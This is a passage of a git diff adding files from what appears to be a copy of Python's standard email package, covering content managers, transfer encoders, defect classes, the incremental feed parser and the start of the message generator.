EMPTYSTRING.join(current_line) + header_bytes = _encode(joined_line, codec) + lines.append(encoder(header_bytes)) + current_line = [character] + maxlen = next(maxlengths) - extra + joined_line = EMPTYSTRING.join(current_line) + header_bytes = _encode(joined_line, codec) + lines.append(encoder(header_bytes)) + return lines + + def _get_encoder(self, header_bytes): + if self.header_encoding == BASE64: + return email.base64mime + elif self.header_encoding == QP: + return email.quoprimime + elif self.header_encoding == SHORTEST: + len64 = email.base64mime.header_length(header_bytes) + lenqp = email.quoprimime.header_length(header_bytes) + if len64 < lenqp: + return email.base64mime + else: + return email.quoprimime + else: + return None + + def body_encode(self, string): + """Body-encode a string by converting it first to bytes. + + The type of encoding (base64 or quoted-printable) will be based on + self.body_encoding. If body_encoding is None, we assume the + output charset is a 7bit encoding, so re-encoding the decoded + string using the ascii codec produces the correct string version + of the content. + """ + if not string: + return string + if self.body_encoding is BASE64: + if isinstance(string, str): + string = string.encode(self.output_charset) + return email.base64mime.body_encode(string) + elif self.body_encoding is QP: + # quopromime.body_encode takes a string, but operates on it as if + # it were a list of byte codes. For a (minimal) history on why + # this is so, see changeset 0cf700464177. To correctly encode a + # character set, then, we must turn it into pseudo bytes via the + # latin1 charset, which will encode any byte as a single code point + # between 0 and 255, which is what body_encode is expecting. + if isinstance(string, str): + string = string.encode(self.output_charset) + string = string.decode('latin1') + return email.quoprimime.body_encode(string) + else: + if isinstance(string, str): + string = string.encode(self.output_charset).decode('ascii') + return string diff --git a/email/contentmanager.py b/email/contentmanager.py new file mode 100755 index 0000000..b904ded --- /dev/null +++ b/email/contentmanager.py @@ -0,0 +1,250 @@ +import binascii +import email.charset +import email.message +import email.errors +from email import quoprimime + +class ContentManager: + + def __init__(self): + self.get_handlers = {} + self.set_handlers = {} + + def add_get_handler(self, key, handler): + self.get_handlers[key] = handler + + def get_content(self, msg, *args, **kw): + content_type = msg.get_content_type() + if content_type in self.get_handlers: + return self.get_handlers[content_type](msg, *args, **kw) + maintype = msg.get_content_maintype() + if maintype in self.get_handlers: + return self.get_handlers[maintype](msg, *args, **kw) + if '' in self.get_handlers: + return self.get_handlers[''](msg, *args, **kw) + raise KeyError(content_type) + + def add_set_handler(self, typekey, handler): + self.set_handlers[typekey] = handler + + def set_content(self, msg, obj, *args, **kw): + if msg.get_content_maintype() == 'multipart': + # XXX: is this error a good idea or not? We can remove it later, + # but we can't add it later, so do it for now. + raise TypeError("set_content not valid on multipart") + handler = self._find_set_handler(msg, obj) + msg.clear_content() + handler(msg, obj, *args, **kw) + + def _find_set_handler(self, msg, obj): + full_path_for_error = None + for typ in type(obj).__mro__: + if typ in self.set_handlers: + return self.set_handlers[typ] + qname = typ.__qualname__ + modname = getattr(typ, '__module__', '') + full_path = '.'.join((modname, qname)) if modname else qname + if full_path_for_error is None: + full_path_for_error = full_path + if full_path in self.set_handlers: + return self.set_handlers[full_path] + if qname in self.set_handlers: + return self.set_handlers[qname] + name = typ.__name__ + if name in self.set_handlers: + return self.set_handlers[name] + if None in self.set_handlers: + return self.set_handlers[None] + raise KeyError(full_path_for_error) + + +raw_data_manager = ContentManager() + + +def get_text_content(msg, errors='replace'): + content = msg.get_payload(decode=True) + charset = msg.get_param('charset', 'ASCII') + return content.decode(charset, errors=errors) +raw_data_manager.add_get_handler('text', get_text_content) + + +def get_non_text_content(msg): + return msg.get_payload(decode=True) +for maintype in 'audio image video application'.split(): + raw_data_manager.add_get_handler(maintype, get_non_text_content) + + +def get_message_content(msg): + return msg.get_payload(0) +for subtype in 'rfc822 external-body'.split(): + raw_data_manager.add_get_handler('message/'+subtype, get_message_content) + + +def get_and_fixup_unknown_message_content(msg): + # If we don't understand a message subtype, we are supposed to treat it as + # if it were application/octet-stream, per + # tools.ietf.org/html/rfc2046#section-5.2.4. Feedparser doesn't do that, + # so do our best to fix things up. Note that it is *not* appropriate to + # model message/partial content as Message objects, so they are handled + # here as well. (How to reassemble them is out of scope for this comment :) + return bytes(msg.get_payload(0)) +raw_data_manager.add_get_handler('message', + get_and_fixup_unknown_message_content) + + +def _prepare_set(msg, maintype, subtype, headers): + msg['Content-Type'] = '/'.join((maintype, subtype)) + if headers: + if not hasattr(headers[0], 'name'): + mp = msg.policy + headers = [mp.header_factory(*mp.header_source_parse([header])) + for header in headers] + try: + for header in headers: + if header.defects: + raise header.defects[0] + msg[header.name] = header + except email.errors.HeaderDefect as exc: + raise ValueError("Invalid header: {}".format( + header.fold(policy=msg.policy))) from exc + + +def _finalize_set(msg, disposition, filename, cid, params): + if disposition is None and filename is not None: + disposition = 'attachment' + if disposition is not None: + msg['Content-Disposition'] = disposition + if filename is not None: + msg.set_param('filename', + filename, + header='Content-Disposition', + replace=True) + if cid is not None: + msg['Content-ID'] = cid + if params is not None: + for key, value in params.items(): + msg.set_param(key, value) + + +# XXX: This is a cleaned-up version of base64mime.body_encode (including a bug +# fix in the calculation of unencoded_bytes_per_line). It would be nice to +# drop both this and quoprimime.body_encode in favor of enhanced binascii +# routines that accepted a max_line_length parameter. +def _encode_base64(data, max_line_length): + encoded_lines = [] + unencoded_bytes_per_line = max_line_length // 4 * 3 + for i in range(0, len(data), unencoded_bytes_per_line): + thisline = data[i:i+unencoded_bytes_per_line] + encoded_lines.append(binascii.b2a_base64(thisline).decode('ascii')) + return ''.join(encoded_lines) + + +def _encode_text(string, charset, cte, policy): + lines = string.encode(charset).splitlines() + linesep = policy.linesep.encode('ascii') + def embedded_body(lines): return linesep.join(lines) + linesep + def normal_body(lines): return b'\n'.join(lines) + b'\n' + if cte==None: + # Use heuristics to decide on the "best" encoding. + try: + return '7bit', normal_body(lines).decode('ascii') + except UnicodeDecodeError: + pass + if (policy.cte_type == '8bit' and + max(len(x) for x in lines) <= policy.max_line_length): + return '8bit', normal_body(lines).decode('ascii', 'surrogateescape') + sniff = embedded_body(lines[:10]) + sniff_qp = quoprimime.body_encode(sniff.decode('latin-1'), + policy.max_line_length) + sniff_base64 = binascii.b2a_base64(sniff) + # This is a little unfair to qp; it includes lineseps, base64 doesn't. + if len(sniff_qp) > len(sniff_base64): + cte = 'base64' + else: + cte = 'quoted-printable' + if len(lines) <= 10: + return cte, sniff_qp + if cte == '7bit': + data = normal_body(lines).decode('ascii') + elif cte == '8bit': + data = normal_body(lines).decode('ascii', 'surrogateescape') + elif cte == 'quoted-printable': + data = quoprimime.body_encode(normal_body(lines).decode('latin-1'), + policy.max_line_length) + elif cte == 'base64': + data = _encode_base64(embedded_body(lines), policy.max_line_length) + else: + raise ValueError("Unknown content transfer encoding {}".format(cte)) + return cte, data + + +def set_text_content(msg, string, subtype="plain", charset='utf-8', cte=None, + disposition=None, filename=None, cid=None, + params=None, headers=None): + _prepare_set(msg, 'text', subtype, headers) + cte, payload = _encode_text(string, charset, cte, msg.policy) + msg.set_payload(payload) + msg.set_param('charset', + email.charset.ALIASES.get(charset, charset), + replace=True) + msg['Content-Transfer-Encoding'] = cte + _finalize_set(msg, disposition, filename, cid, params) +raw_data_manager.add_set_handler(str, set_text_content) + + +def set_message_content(msg, message, subtype="rfc822", cte=None, + disposition=None, filename=None, cid=None, + params=None, headers=None): + if subtype == 'partial': + raise ValueError("message/partial is not supported for Message objects") + if subtype == 'rfc822': + if cte not in (None, '7bit', '8bit', 'binary'): + # http://tools.ietf.org/html/rfc2046#section-5.2.1 mandate. + raise ValueError( + "message/rfc822 parts do not support cte={}".format(cte)) + # 8bit will get coerced on serialization if policy.cte_type='7bit'. We + # may end up claiming 8bit when it isn't needed, but the only negative + # result of that should be a gateway that needs to coerce to 7bit + # having to look through the whole embedded message to discover whether + # or not it actually has to do anything. + cte = '8bit' if cte is None else cte + elif subtype == 'external-body': + if cte not in (None, '7bit'): + # http://tools.ietf.org/html/rfc2046#section-5.2.3 mandate. + raise ValueError( + "message/external-body parts do not support cte={}".format(cte)) + cte = '7bit' + elif cte is None: + # http://tools.ietf.org/html/rfc2046#section-5.2.4 says all future + # subtypes should be restricted to 7bit, so assume that. + cte = '7bit' + _prepare_set(msg, 'message', subtype, headers) + msg.set_payload([message]) + msg['Content-Transfer-Encoding'] = cte + _finalize_set(msg, disposition, filename, cid, params) +raw_data_manager.add_set_handler(email.message.Message, set_message_content) + + +def set_bytes_content(msg, data, maintype, subtype, cte='base64', + disposition=None, filename=None, cid=None, + params=None, headers=None): + _prepare_set(msg, maintype, subtype, headers) + if cte == 'base64': + data = _encode_base64(data, max_line_length=msg.policy.max_line_length) + elif cte == 'quoted-printable': + # XXX: quoprimime.body_encode won't encode newline characters in data, + # so we can't use it. This means max_line_length is ignored. Another + # bug to fix later. (Note: encoders.quopri is broken on line ends.) + data = binascii.b2a_qp(data, istext=False, header=False, quotetabs=True) + data = data.decode('ascii') + elif cte == '7bit': + # Make sure it really is only ASCII. The early warning here seems + # worth the overhead...if you care write your own content manager :). + data.encode('ascii') + elif cte in ('8bit', 'binary'): + data = data.decode('ascii', 'surrogateescape') + msg.set_payload(data) + msg['Content-Transfer-Encoding'] = cte + _finalize_set(msg, disposition, filename, cid, params) +for typ in (bytes, bytearray, memoryview): + raw_data_manager.add_set_handler(typ, set_bytes_content) diff --git a/email/encoders.py b/email/encoders.py new file mode 100755 index 0000000..0a66acb --- /dev/null +++ b/email/encoders.py @@ -0,0 +1,69 @@ +# Copyright (C) 2001-2006 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Encodings and related functions.""" + +__all__ = [ + 'encode_7or8bit', + 'encode_base64', + 'encode_noop', + 'encode_quopri', + ] + + +from base64 import encodebytes as _bencode +from quopri import encodestring as _encodestring + + + +def _qencode(s): + enc = _encodestring(s, quotetabs=True) + # Must encode spaces, which quopri.encodestring() doesn't do + return enc.replace(b' ', b'=20') + + +def encode_base64(msg): + """Encode the message's payload in Base64. + + Also, add an appropriate Content-Transfer-Encoding header. + """ + orig = msg.get_payload(decode=True) + encdata = str(_bencode(orig), 'ascii') + msg.set_payload(encdata) + msg['Content-Transfer-Encoding'] = 'base64' + + + +def encode_quopri(msg): + """Encode the message's payload in quoted-printable. + + Also, add an appropriate Content-Transfer-Encoding header. + """ + orig = msg.get_payload(decode=True) + encdata = _qencode(orig) + msg.set_payload(encdata) + msg['Content-Transfer-Encoding'] = 'quoted-printable' + + + +def encode_7or8bit(msg): + """Set the Content-Transfer-Encoding header to 7bit or 8bit.""" + orig = msg.get_payload(decode=True) + if orig is None: + # There's no payload. For backwards compatibility we use 7bit + msg['Content-Transfer-Encoding'] = '7bit' + return + # We play a trick to make this go fast. If decoding from ASCII succeeds, + # we know the data must be 7bit, otherwise treat it as 8bit. + try: + orig.decode('ascii') + except UnicodeError: + msg['Content-Transfer-Encoding'] = '8bit' + else: + msg['Content-Transfer-Encoding'] = '7bit' + + + +def encode_noop(msg): + """Do nothing.""" diff --git a/email/errors.py b/email/errors.py new file mode 100755 index 0000000..791239f --- /dev/null +++ b/email/errors.py @@ -0,0 +1,107 @@ +# Copyright (C) 2001-2006 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""email package exception classes.""" + + +class MessageError(Exception): + """Base class for errors in the email package.""" + + +class MessageParseError(MessageError): + """Base class for message parsing errors.""" + + +class HeaderParseError(MessageParseError): + """Error while parsing headers.""" + + +class BoundaryError(MessageParseError): + """Couldn't find terminating boundary.""" + + +class MultipartConversionError(MessageError, TypeError): + """Conversion to a multipart is prohibited.""" + + +class CharsetError(MessageError): + """An illegal charset was given.""" + + +# These are parsing defects which the parser was able to work around. +class MessageDefect(ValueError): + """Base class for a message defect.""" + + def __init__(self, line=None): + if line is not None: + super().__init__(line) + self.line = line + +class NoBoundaryInMultipartDefect(MessageDefect): + """A message claimed to be a multipart but had no boundary parameter.""" + +class StartBoundaryNotFoundDefect(MessageDefect): + """The claimed start boundary was never found.""" + +class CloseBoundaryNotFoundDefect(MessageDefect): + """A start boundary was found, but not the corresponding close boundary.""" + +class FirstHeaderLineIsContinuationDefect(MessageDefect): + """A message had a continuation line as its first header line.""" + +class MisplacedEnvelopeHeaderDefect(MessageDefect): + """A 'Unix-from' header was found in the middle of a header block.""" + +class MissingHeaderBodySeparatorDefect(MessageDefect): + """Found line with no leading whitespace and no colon before blank line.""" +# XXX: backward compatibility, just in case (it was never emitted). +MalformedHeaderDefect = MissingHeaderBodySeparatorDefect + +class MultipartInvariantViolationDefect(MessageDefect): + """A message claimed to be a multipart but no subparts were found.""" + +class InvalidMultipartContentTransferEncodingDefect(MessageDefect): + """An invalid content transfer encoding was set on the multipart itself.""" + +class UndecodableBytesDefect(MessageDefect): + """Header contained bytes that could not be decoded""" + +class InvalidBase64PaddingDefect(MessageDefect): + """base64 encoded sequence had an incorrect length""" + +class InvalidBase64CharactersDefect(MessageDefect): + """base64 encoded sequence had characters not in base64 alphabet""" + +# These errors are specific to header parsing. + +class HeaderDefect(MessageDefect): + """Base class for a header defect.""" + + def __init__(self, *args, **kw): + super().__init__(*args, **kw) + +class InvalidHeaderDefect(HeaderDefect): + """Header is not valid, message gives details.""" + +class HeaderMissingRequiredValue(HeaderDefect): + """A header that must have a value had none""" + +class NonPrintableDefect(HeaderDefect): + """ASCII characters outside the ascii-printable range found""" + + def __init__(self, non_printables): + super().__init__(non_printables) + self.non_printables = non_printables + + def __str__(self): + return ("the following ASCII non-printables found in header: " + "{}".format(self.non_printables)) + +class ObsoleteHeaderDefect(HeaderDefect): + """Header uses syntax declared obsolete by RFC 5322""" + +class NonASCIILocalPartDefect(HeaderDefect): + """local_part contains non-ASCII characters""" + # This defect only occurs during unicode parsing, not when + # parsing messages decoded from binary. diff --git a/email/feedparser.py b/email/feedparser.py new file mode 100755 index 0000000..7c07ca8 --- /dev/null +++ b/email/feedparser.py @@ -0,0 +1,536 @@ +# Copyright (C) 2004-2006 Python Software Foundation +# Authors: Baxter, Wouters and Warsaw +# Contact: email-sig@python.org + +"""FeedParser - An email feed parser. + +The feed parser implements an interface for incrementally parsing an email +message, line by line. This has advantages for certain applications, such as +those reading email messages off a socket. + +FeedParser.feed() is the primary interface for pushing new data into the +parser. It returns when there's nothing more it can do with the available +data. When you have no more data to push into the parser, call .close(). +This completes the parsing and returns the root message object. + +The other advantage of this parser is that it will never raise a parsing +exception. Instead, when it finds something unexpected, it adds a 'defect' to +the current message. Defects are just instances that live on the message +object's .defects attribute. +""" + +__all__ = ['FeedParser', 'BytesFeedParser'] + +import re + +from email import errors +from email._policybase import compat32 +from collections import deque +from io import StringIO + +NLCRE = re.compile(r'\r\n|\r|\n') +NLCRE_bol = re.compile(r'(\r\n|\r|\n)') +NLCRE_eol = re.compile(r'(\r\n|\r|\n)\Z') +NLCRE_crack = re.compile(r'(\r\n|\r|\n)') +# RFC 2822 $3.6.8 Optional fields. ftext is %d33-57 / %d59-126, Any character +# except controls, SP, and ":". +headerRE = re.compile(r'^(From |[\041-\071\073-\176]*:|[\t ])') +EMPTYSTRING = '' +NL = '\n' + +NeedMoreData = object() + + + +class BufferedSubFile(object): + """A file-ish object that can have new data loaded into it. + + You can also push and pop line-matching predicates onto a stack. When the + current predicate matches the current line, a false EOF response + (i.e. empty string) is returned instead. This lets the parser adhere to a + simple abstraction -- it parses until EOF closes the current message. + """ + def __init__(self): + # Text stream of the last partial line pushed into this object. + # See issue 22233 for why this is a text stream and not a list. + self._partial = StringIO(newline='') + # A deque of full, pushed lines + self._lines = deque() + # The stack of false-EOF checking predicates. + self._eofstack = [] + # A flag indicating whether the file has been closed or not. + self._closed = False + + def push_eof_matcher(self, pred): + self._eofstack.append(pred) + + def pop_eof_matcher(self): + return self._eofstack.pop() + + def close(self): + # Don't forget any trailing partial line. + self._partial.seek(0) + self.pushlines(self._partial.readlines()) + self._partial.seek(0) + self._partial.truncate() + self._closed = True + + def readline(self): + if not self._lines: + if self._closed: + return '' + return NeedMoreData + # Pop the line off the stack and see if it matches the current + # false-EOF predicate. + line = self._lines.popleft() + # RFC 2046, section 5.1.2 requires us to recognize outer level + # boundaries at any level of inner nesting. Do this, but be sure it's + # in the order of most to least nested. + for ateof in reversed(self._eofstack): + if ateof(line): + # We're at the false EOF. But push the last line back first. + self._lines.appendleft(line) + return '' + return line + + def unreadline(self, line): + # Let the consumer push a line back into the buffer. + assert line is not NeedMoreData + self._lines.appendleft(line) + + def push(self, data): + """Push some new data into this object.""" + self._partial.write(data) + if '\n' not in data and '\r' not in data: + # No new complete lines, wait for more. + return + + # Crack into lines, preserving the linesep characters. + self._partial.seek(0) + parts = self._partial.readlines() + self._partial.seek(0) + self._partial.truncate() + + # If the last element of the list does not end in a newline, then treat + # it as a partial line. We only check for '\n' here because a line + # ending with '\r' might be a line that was split in the middle of a + # '\r\n' sequence (see bugs 1555570 and 1721862). + if not parts[-1].endswith('\n'): + self._partial.write(parts.pop()) + self.pushlines(parts) + + def pushlines(self, lines): + self._lines.extend(lines) + + def __iter__(self): + return self + + def __next__(self): + line = self.readline() + if line == '': + raise StopIteration + return line + + + +class FeedParser: + """A feed-style parser of email.""" + + def __init__(self, _factory=None, *, policy=compat32): + """_factory is called with no arguments to create a new message obj + + The policy keyword specifies a policy object that controls a number of + aspects of the parser's operation. The default policy maintains + backward compatibility. + + """ + self.policy = policy + self._old_style_factory = False + if _factory is None: + if policy.message_factory is None: + from email.message import Message + self._factory = Message + else: + self._factory = policy.message_factory + else: + self._factory = _factory + try: + _factory(policy=self.policy) + except TypeError: + # Assume this is an old-style factory + self._old_style_factory = True + self._input = BufferedSubFile() + self._msgstack = [] + self._parse = self._parsegen().__next__ + self._cur = None + self._last = None + self._headersonly = False + + # Non-public interface for supporting Parser's headersonly flag + def _set_headersonly(self): + self._headersonly = True + + def feed(self, data): + """Push more data into the parser.""" + self._input.push(data) + self._call_parse() + + def _call_parse(self): + try: + self._parse() + except StopIteration: + pass + + def close(self): + """Parse all remaining data and return the root message object.""" + self._input.close() + self._call_parse() + root = self._pop_message() + assert not self._msgstack + # Look for final set of defects + if root.get_content_maintype() == 'multipart' \ + and not root.is_multipart(): + defect = errors.MultipartInvariantViolationDefect() + self.policy.handle_defect(root, defect) + return root + + def _new_message(self): + if self._old_style_factory: + msg = self._factory() + else: + msg = self._factory(policy=self.policy) + if self._cur and self._cur.get_content_type() == 'multipart/digest': + msg.set_default_type('message/rfc822') + if self._msgstack: + self._msgstack[-1].attach(msg) + self._msgstack.append(msg) + self._cur = msg + self._last = msg + + def _pop_message(self): + retval = self._msgstack.pop() + if self._msgstack: + self._cur = self._msgstack[-1] + else: + self._cur = None + return retval + + def _parsegen(self): + # Create a new message and start by parsing headers. + self._new_message() + headers = [] + # Collect the headers, searching for a line that doesn't match the RFC + # 2822 header or continuation pattern (including an empty line). + for line in self._input: + if line is NeedMoreData: + yield NeedMoreData + continue + if not headerRE.match(line): + # If we saw the RFC defined header/body separator + # (i.e. newline), just throw it away. Otherwise the line is + # part of the body so push it back. + if not NLCRE.match(line): + defect = errors.MissingHeaderBodySeparatorDefect() + self.policy.handle_defect(self._cur, defect) + self._input.unreadline(line) + break + headers.append(line) + # Done with the headers, so parse them and figure out what we're + # supposed to see in the body of the message. + self._parse_headers(headers) + # Headers-only parsing is a backwards compatibility hack, which was + # necessary in the older parser, which could raise errors. All + # remaining lines in the input are thrown into the message body. + if self._headersonly: + lines = [] + while True: + line = self._input.readline() + if line is NeedMoreData: + yield NeedMoreData + continue + if line == '': + break + lines.append(line) + self._cur.set_payload(EMPTYSTRING.join(lines)) + return + if self._cur.get_content_type() == 'message/delivery-status': + # message/delivery-status contains blocks of headers separated by + # a blank line. We'll represent each header block as a separate + # nested message object, but the processing is a bit different + # than standard message/* types because there is no body for the + # nested messages. A blank line separates the subparts. + while True: + self._input.push_eof_matcher(NLCRE.match) + for retval in self._parsegen(): + if retval is NeedMoreData: + yield NeedMoreData + continue + break + msg = self._pop_message() + # We need to pop the EOF matcher in order to tell if we're at + # the end of the current file, not the end of the last block + # of message headers. + self._input.pop_eof_matcher() + # The input stream must be sitting at the newline or at the + # EOF. We want to see if we're at the end of this subpart, so + # first consume the blank line, then test the next line to see + # if we're at this subpart's EOF. + while True: + line = self._input.readline() + if line is NeedMoreData: + yield NeedMoreData + continue + break + while True: + line = self._input.readline() + if line is NeedMoreData: + yield NeedMoreData + continue + break + if line == '': + break + # Not at EOF so this is a line we're going to need. + self._input.unreadline(line) + return + if self._cur.get_content_maintype() == 'message': + # The message claims to be a message/* type, then what follows is + # another RFC 2822 message. + for retval in self._parsegen(): + if retval is NeedMoreData: + yield NeedMoreData + continue + break + self._pop_message() + return + if self._cur.get_content_maintype() == 'multipart': + boundary = self._cur.get_boundary() + if boundary is None: + # The message /claims/ to be a multipart but it has not + # defined a boundary. That's a problem which we'll handle by + # reading everything until the EOF and marking the message as + # defective. + defect = errors.NoBoundaryInMultipartDefect() + self.policy.handle_defect(self._cur, defect) + lines = [] + for line in self._input: + if line is NeedMoreData: + yield NeedMoreData + continue + lines.append(line) + self._cur.set_payload(EMPTYSTRING.join(lines)) + return + # Make sure a valid content type was specified per RFC 2045:6.4. + if (self._cur.get('content-transfer-encoding', '8bit').lower() + not in ('7bit', '8bit', 'binary')): + defect = errors.InvalidMultipartContentTransferEncodingDefect() + self.policy.handle_defect(self._cur, defect) + # Create a line match predicate which matches the inter-part + # boundary as well as the end-of-multipart boundary. Don't push + # this onto the input stream until we've scanned past the + # preamble. + separator = '--' + boundary + boundaryre = re.compile( + '(?P' + re.escape(separator) + + r')(?P--)?(?P[ \t]*)(?P\r\n|\r|\n)?$') + capturing_preamble = True + preamble = [] + linesep = False + close_boundary_seen = False + while True: + line = self._input.readline() + if line is NeedMoreData: + yield NeedMoreData + continue + if line == '': + break + mo = boundaryre.match(line) + if mo: + # If we're looking at the end boundary, we're done with + # this multipart. If there was a newline at the end of + # the closing boundary, then we need to initialize the + # epilogue with the empty string (see below). + if mo.group('end'): + close_boundary_seen = True + linesep = mo.group('linesep') + break + # We saw an inter-part boundary. Were we in the preamble? + if capturing_preamble: + if preamble: + # According to RFC 2046, the last newline belongs + # to the boundary. + lastline = preamble[-1] + eolmo = NLCRE_eol.search(lastline) + if eolmo: + preamble[-1] = lastline[:-len(eolmo.group(0))] + self._cur.preamble = EMPTYSTRING.join(preamble) + capturing_preamble = False + self._input.unreadline(line) + continue + # We saw a boundary separating two parts. Consume any + # multiple boundary lines that may be following. Our + # interpretation of RFC 2046 BNF grammar does not produce + # body parts within such double boundaries. + while True: + line = self._input.readline() + if line is NeedMoreData: + yield NeedMoreData + continue + mo = boundaryre.match(line) + if not mo: + self._input.unreadline(line) + break + # Recurse to parse this subpart; the input stream points + # at the subpart's first line. + self._input.push_eof_matcher(boundaryre.match) + for retval in self._parsegen(): + if retval is NeedMoreData: + yield NeedMoreData + continue + break + # Because of RFC 2046, the newline preceding the boundary + # separator actually belongs to the boundary, not the + # previous subpart's payload (or epilogue if the previous + # part is a multipart). + if self._last.get_content_maintype() == 'multipart': + epilogue = self._last.epilogue + if epilogue == '': + self._last.epilogue = None + elif epilogue is not None: + mo = NLCRE_eol.search(epilogue) + if mo: + end = len(mo.group(0)) + self._last.epilogue = epilogue[:-end] + else: + payload = self._last._payload + if isinstance(payload, str): + mo = NLCRE_eol.search(payload) + if mo: + payload = payload[:-len(mo.group(0))] + self._last._payload = payload + self._input.pop_eof_matcher() + self._pop_message() + # Set the multipart up for newline cleansing, which will + # happen if we're in a nested multipart. + self._last = self._cur + else: + # I think we must be in the preamble + assert capturing_preamble + preamble.append(line) + # We've seen either the EOF or the end boundary. If we're still + # capturing the preamble, we never saw the start boundary. Note + # that as a defect and store the captured text as the payload. + if capturing_preamble: + defect = errors.StartBoundaryNotFoundDefect() + self.policy.handle_defect(self._cur, defect) + self._cur.set_payload(EMPTYSTRING.join(preamble)) + epilogue = [] + for line in self._input: + if line is NeedMoreData: + yield NeedMoreData + continue + self._cur.epilogue = EMPTYSTRING.join(epilogue) + return + # If we're not processing the preamble, then we might have seen + # EOF without seeing that end boundary...that is also a defect. + if not close_boundary_seen: + defect = errors.CloseBoundaryNotFoundDefect() + self.policy.handle_defect(self._cur, defect) + return + # Everything from here to the EOF is epilogue. If the end boundary + # ended in a newline, we'll need to make sure the epilogue isn't + # None + if linesep: + epilogue = [''] + else: + epilogue = [] + for line in self._input: + if line is NeedMoreData: + yield NeedMoreData + continue + epilogue.append(line) + # Any CRLF at the front of the epilogue is not technically part of + # the epilogue. Also, watch out for an empty string epilogue, + # which means a single newline. + if epilogue: + firstline = epilogue[0] + bolmo = NLCRE_bol.match(firstline) + if bolmo: + epilogue[0] = firstline[len(bolmo.group(0)):] + self._cur.epilogue = EMPTYSTRING.join(epilogue) + return + # Otherwise, it's some non-multipart type, so the entire rest of the + # file contents becomes the payload. + lines = [] + for line in self._input: + if line is NeedMoreData: + yield NeedMoreData + continue + lines.append(line) + self._cur.set_payload(EMPTYSTRING.join(lines)) + + def _parse_headers(self, lines): + # Passed a list of lines that make up the headers for the current msg + lastheader = '' + lastvalue = [] + for lineno, line in enumerate(lines): + # Check for continuation + if line[0] in ' \t': + if not lastheader: + # The first line of the headers was a continuation. This + # is illegal, so let's note the defect, store the illegal + # line, and ignore it for purposes of headers. + defect = errors.FirstHeaderLineIsContinuationDefect(line) + self.policy.handle_defect(self._cur, defect) + continue + lastvalue.append(line) + continue + if lastheader: + self._cur.set_raw(*self.policy.header_source_parse(lastvalue)) + lastheader, lastvalue = '', [] + # Check for envelope header, i.e. unix-from + if line.startswith('From '): + if lineno == 0: + # Strip off the trailing newline + mo = NLCRE_eol.search(line) + if mo: + line = line[:-len(mo.group(0))] + self._cur.set_unixfrom(line) + continue + elif lineno == len(lines) - 1: + # Something looking like a unix-from at the end - it's + # probably the first line of the body, so push back the + # line and stop. + self._input.unreadline(line) + return + else: + # Weirdly placed unix-from line. Note this as a defect + # and ignore it. + defect = errors.MisplacedEnvelopeHeaderDefect(line) + self._cur.defects.append(defect) + continue + # Split the line on the colon separating field name from value. + # There will always be a colon, because if there wasn't the part of + # the parser that calls us would have started parsing the body. + i = line.find(':') + + # If the colon is on the start of the line the header is clearly + # malformed, but we might be able to salvage the rest of the + # message. Track the error but keep going. + if i == 0: + defect = errors.InvalidHeaderDefect("Missing header name.") + self._cur.defects.append(defect) + continue + + assert i>0, "_parse_headers fed line with no : and no leading WS" + lastheader = line[:i] + lastvalue = [line] + # Done with all the lines, so handle the last header. + if lastheader: + self._cur.set_raw(*self.policy.header_source_parse(lastvalue)) + + +class BytesFeedParser(FeedParser): + """Like FeedParser, but feed accepts bytes.""" + + def feed(self, data): + super().feed(data.decode('ascii', 'surrogateescape')) diff --git a/email/generator.py b/email/generator.py new file mode 100755 index 0000000..ae670c2 --- /dev/null +++ b/email/generator.py @@ -0,0 +1,508 @@ +# Copyright (C) 2001-2010 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Classes to generate plain text from a message object tree.""" + +__all__ = ['Generator', 'DecodedGenerator', 'BytesGenerator'] + +import re +import sys +import time +import random + +from copy import deepcopy +from io import StringIO, BytesIO +from email.utils import _has_surrogates + +UNDERSCORE = '_' +NL = '\n' # XXX: no longer used by the code below. + +NLCRE = re.compile(r'\r\n|\r|\n') +fcre = re.compile(r'^From ', re.MULTILINE) + + + +class Generator: + """Generates output from a Message object tree. + + This basic generator writes the message to the given file object as plain + text. + """ + # + # Public interface + # + + def __init__(self, outfp, mangle_from_=None, maxheaderlen=None, *, + policy=None): + """Create the generator for message flattening. + + outfp is the output file-like object for writing the message to. It + must have a write() method. + + Optional mangle_from_ is a flag that, when True (the default if policy + is not set), escapes From_ lines in the body of the message by putting + a `>' in front of them. + + Optional maxheaderlen specifies the longest length for a non-continued + header. When a header line is longer (in characters, with tabs + expanded to 8 spaces) than maxheaderlen, the header will split as + defined in the Header class. Set maxheaderlen to zero to disable + header wrapping. The default is 78, as recommended (but not required) + by RFC 2822. + + The policy keyword specifies a policy object that controls a number of + aspects of the generator's operation. If no policy is specified, + the policy associated with the Message object passed to the + flatten method is used. + + """ + + if mangle_from_ is None: + mangle_from_ = True if policy is None else policy.mangle_from_ + self._fp = outfp + self._mangle_from_ = mangle_from_ + self.maxheaderlen = maxheaderlen + self.policy = policy + + def write(self, s): + # Just delegate to the file object + self._fp.write(s) + + def flatten(self, msg, unixfrom=False, linesep=None): + r"""Print the message object tree rooted at msg to the output file + specified when the Generator instance was created. + + unixfrom is a flag that forces the printing of a Unix From_ delimiter + before the first object in the message tree. If the original message + has no From_ delimiter, a `standard' one is crafted. By default, this + is False to inhibit the printing of any From_ delimiter. + + Note that for subobjects, no From_ line is printed. + + linesep specifies the characters used to indicate a new line in + the output. The default value is determined by the policy specified + when the Generator instance was created or, if none was specified, + from the policy associated with the msg. + + """ + # We use the _XXX constants for operating on data that comes directly + # from the msg, and _encoded_XXX constants for operating on data that + # has already been converted (to bytes in the BytesGenerator) and + # inserted into a temporary buffer. + policy = msg.policy if self.policy is None else self.policy + if linesep is not None: + policy = policy.clone(linesep=linesep) + if self.maxheaderlen is not None: + policy = policy.clone(max_line_length=self.maxheaderlen) + self._NL = policy.linesep + self._encoded_NL = self._encode(self._NL) + self._EMPTY = '' + self._encoded_EMPTY = self._encode(self._EMPTY) + # Because we use clone (below) when we recursively process message + # subparts, and because clone uses the computed policy (not None), + # submessages will automatically get set to the computed policy when + # they are processed by this code. + old_gen_policy = self.policy + old_msg_policy = msg.policy + try: + self.policy = policy + msg.policy = policy + if unixfrom: + ufrom = msg.get_unixfrom() + if not ufrom: + ufrom = 'From nobody ' + time.ctime(time.time()) + self.write(ufrom + self._NL) + self._write(msg) + finally: + self.policy = old_gen_policy + msg.policy = old_msg_policy + + def clone(self, fp): + """Clone this generator with the exact same options.""" + return self.__class__(fp, + self._mangle_from_, + None, # Use policy setting, which we've adjusted + 